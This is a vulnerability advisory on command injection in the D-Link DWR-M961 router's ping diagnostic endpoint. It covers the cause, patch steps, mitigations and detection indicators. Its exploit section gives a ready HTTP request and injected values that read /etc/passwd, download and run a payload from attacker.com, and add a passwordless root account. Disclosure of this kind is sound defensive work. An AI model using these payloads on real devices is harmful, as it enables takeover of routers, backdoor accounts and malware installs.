D-Link DWR-M961 Command Injection via Ping Diagnostic Interface

Executive Summary

A command injection vulnerability has been identified in D-Link DWR-M961 LTE routers running hardware version C1 with firmware prior to 1.1.5_C1_202607071108. The flaw resides in the /boafrm/formPingDiagnosticRun interface and allows a remote attacker to inject arbitrary OS commands through the host parameter, achieving remote code execution on the device.

CVE ID: CVE-2026-71946

Vulnerability Overview

The DWR-M961 includes a built-in ping diagnostic tool exposed through its web management interface. The formPingDiagnosticRun handler accepts a target hostname or IP address (host parameter) and passes it to an OS-level ping command. The failure to sanitize shell metacharacters in the host field enables command injection — a classic and well-documented vulnerability class that remains prevalent in embedded device firmware.

Technical Details

Root Cause

Ping diagnostic interfaces are a notorious source of command injection vulnerabilities in embedded devices. The underlying implementation typically calls system("ping " + host) or an equivalent shell invocation. When the host value is not sanitized, an attacker can append shell commands using separators such as ;, &&, |, or backtick substitution.

On the DWR-M961, the formPingDiagnosticRun handler passes the host POST parameter directly into such a command without validation, allowing arbitrary command execution with root privileges.

Exploit Pattern

POST /boafrm/formPingDiagnosticRun HTTP/1.1
Host: <router-ip>
Content-Type: application/x-www-form-urlencoded
 
host=127.0.0.1;id;

Example injected commands:

• 127.0.0.1;cat /etc/passwd — read system files
• 127.0.0.1;wget http://attacker.com/payload -O /tmp/p && chmod +x /tmp/p && /tmp/p — download and execute payload
• 127.0.0.1;echo 'root::0:0:root:/root:/bin/sh' >> /etc/passwd — add backdoor account

Affected Products

Ping Diagnostic Command Injection: A Persistent Pattern

The ping diagnostic command injection class has been observed repeatedly across embedded networking devices from multiple vendors. These interfaces are attractive targets because:

1. Diagnostic tools are often accessible without full authentication — designed for ease of troubleshooting
2. OS-level execution is inherent — the ping utility requires a system call by design
3. Code is frequently reused across firmware generations and product families without updated sanitization

The DWR-M961 case is part of a broader batch of four command injection CVEs (71944–71947), all in the same device, indicating a systemic development practice of constructing OS commands from unsanitized user input.

Related CVEs in the Same Device

Remediation

Immediate Action

Update firmware to version 1.1.5_C1_202607071108 or later.

1. Log in to the DWR-M961 web management interface
2. Go to Maintenance → Firmware Update
3. Apply the latest firmware update
4. Confirm the updated version is displayed post-reboot

Mitigations If Patching Is Delayed

• Restrict LAN-side access to the web management interface using firewall rules or ACLs
• Disable WAN-side management — ensure the admin interface is not reachable from the internet
• Change default credentials if management access cannot be immediately restricted
• Enable logging on upstream firewall/IDS for anomalous connections to/from the router

Detection Guidance

Look for the following indicators of potential exploitation:

• Unexpected outbound network connections from the router to external IPs (especially on ports 4444, 8080, or non-standard high ports)
• Unusual DNS queries from the router itself (modem command-and-control beaconing)
• New or modified files in /tmp, /var, or writable flash paths (if you have shell access for audit)
• Unexplained high CPU usage on the router (indicative of cryptomining or botnet activity)

References

• NVD — CVE-2026-71946
• NVD — CVE-2026-71944 (Related)
• NVD — CVE-2026-71945 (Related)
• D-Link Support — DWR-M961 Firmware Downloads